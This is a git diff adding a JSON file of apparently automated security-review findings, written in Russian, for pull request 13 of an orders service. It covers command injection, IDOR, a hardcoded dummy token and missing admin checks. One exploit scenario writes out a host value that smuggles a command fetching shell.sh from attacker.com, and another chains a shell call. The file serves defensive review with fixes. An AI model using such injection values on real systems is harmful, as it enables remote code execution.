diff --git a/security-analysis/findings/pr-13/1787505343-review.json b/security-analysis/findings/pr-13/1787505343-review.json new file mode 100644 index 0000000..b898369 --- /dev/null +++ b/security-analysis/findings/pr-13/1787505343-review.json @@ -0,0 +1,86 @@ +[ + { + "id": "ai-review-0-orders.py-83", + "source": "ai-review", + "category": "command-exec", + "severity": "critical", + "confidence": 0.8, + "file": "orders.py", + "line_start": 83, + "line_end": 83, + "title": "Недостаточная очистка host от спецсимволов для командной инъекции", + "description": "Используется простая замена одиночных спецсимволов (;|&`) в host, но не экранируются другие опасные символы и конструкции, способные привести к выполнению произвольных команд при вызове rsync.", + "impact": "Возможна командная инъекция через specially crafted host, позволяющая атакующему выполнить произвольные команды на сервере с правами процесса.", + "exploit_scenario": "Атакующий отправляет POST-запрос на /admin/backup с host='example.com$(curl attacker.com/shell.sh)|other' или host='example.com; sh -c \"whoami\"'. Несмотря на замену ;|&` , в rsync возможны другие векторы инъекции через опции командной строки или интерпретацию хоста как URL с внедрением команд.", + "evidence": "escaped_host = host.replace(\";\", \"\").replace(\"|\", \"\").replace(\"&\", \"\").replace(\"`\", \"\") — недостаточно для предотвращения всех векторов инъекции. Использование подстановки в список аргументов всё ещё уязвимо к неожиданному поведению rsync.", + "recommendation": "Валидировать host по строгому белому списку (например, регулярное выражение для IP или домена), ограничить протокол и путь (например, только определённые хосты из конфига). Избегать подстановки пользовательского ввода в аргументы системных команд. Использовать безопасные альтернативы (scp, sftp с OAuth/ключами), либо запускать команду только после строгой валидации.", + "cwe": "CWE-78", + "status": "OPEN", + "created_at": "2026-08-23T17:15:43Z", + "pr_number": 13, + "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782" + }, + { + "id": "ai-review-1-orders.py-32", + "source": "ai-review", + "category": "idor", + "severity": "high", + "confidence": 1.0, + "file": "orders.py", + "line_start": 32, + "line_end": 47, + "title": "Отсутствие проверки ownership заказа", + "description": "Методы GET и POST для /orders/{id} проверяют только аутентификацию, но не проверяют, что order_id принадлежит текущему пользователю. В словаре orders нет хранения user_id по умолчанию, и no authorization check на уровне заказа.", + "impact": "Любой аутентифицированный пользователь может читать и изменять чужие заказы (IDOR), что приводит к утечке и модификации чужих данных.", + "exploit_scenario": "Пользователь с токеном token_abc отправляет GET /orders/100 и получает данные чужого заказа, или POST /orders/100 с amount=0 и обнуляет чужой заказ. Это возможно без знания user_id авторизованного пользователя.", + "evidence": "def check_auth(self): ... token = auth_header[7:] ... return self._validate_token(token). Далее в do_GET и do_POST: order_id = self.path.split(\"/\")[-1]; if order_id in orders: ... orders[order_id][\"amount\"] = data[\"amount\"] — нет связи order_id и owner (user_id)", + "recommendation": "Хранить в заказах user_id, проверять, что order_id принадлежит текущему пользователю (например, из токена), и блокировать операции над чужими заказами. Добавить user_id = extract_user_from_token(token), и проверку ownership перед доступом.", + "cwe": "CWE-639", + "status": "OPEN", + "created_at": "2026-08-23T17:15:43Z", + "pr_number": 13, + "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782" + }, + { + "id": "ai-review-2-orders.py-15", + "source": "ai-review", + "category": "sensitive-data", + "severity": "medium", + "confidence": 1.0, + "file": "orders.py", + "line_start": 15, + "line_end": 15, + "title": "Хардкод токена GitHub в коде", + "description": "GitHubToken хранится в исходном коде как строковая константа, несмотря на префикс dummy. Это считается плохой практикой, потенциально опасной при утечке кода.", + "impact": "Возможна утечка учётных данных в логах, артефактах, дампах памяти. Даже фейковый токен в коде сигнализирует о плохих практиках управления секретами.", + "exploit_scenario": "Атакующий клонирует репозиторий и находит GitHubToken, использует его для получения доступа к GitHub API (если он рабочий) или для атак на CI/CD, основанных на знании, что в репозитории есть «дамми» токены (возможно, другие секреты хранятся так же плохо).", + "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\"", + "recommendation": "Использовать переменные окружения или внешний менеджер секретов. Загружать токен через os.getenv(\"GITHUB_TOKEN\") или подобный механизм.", + "cwe": "CWE-312", + "status": "OPEN", + "created_at": "2026-08-23T17:15:43Z", + "pr_number": 13, + "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782" + }, + { + "id": "ai-review-3-orders.py-62", + "source": "ai-review", + "category": "authz", + "severity": "high", + "confidence": 1.0, + "file": "orders.py", + "line_start": 62, + "line_end": 65, + "title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю без дополнительной авторизации", + "description": "Эндпоинт требует только Basic Bearer токен (любой валидный токен, начинающийся с token_), не проверяет роль администратора, разрешает выполнение опасных операций (запуск rsync).", + "impact": "Любой пользователь, знающий URL и имеющий любой валидный токен (включая приватные пользовательские токены), может инициировать резервное копирование, потенциально использование вредоносных хостов.", + "exploit_scenario": "Пользователь, имеющий любой токен token_* (даже для обычного доступа к заказам), отправляет POST /admin/backup с вредоносным host для эксплуатации инъекции команд. Отсутствие проверки role=admin делает endpoint открытым для всех.", + "evidence": "elif self.path == \"/admin/backup\": if not self.check_auth(): ... — нет дополнительной проверки роли пользователя (например, claim \"admin\": true в токене или отдельный header)", + "recommendation": "Добавить роль или флаг администратора в токен, проверять его при входе в /admin/backup. Или использовать отдельный API-ключ/secret только для admin-эндпоинтов, отличный от пользовательских токенов.", + "cwe": "CWE-285", + "status": "OPEN", + "created_at": "2026-08-23T17:15:43Z", + "pr_number": 13, + "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782" + } +] \ No newline at end of file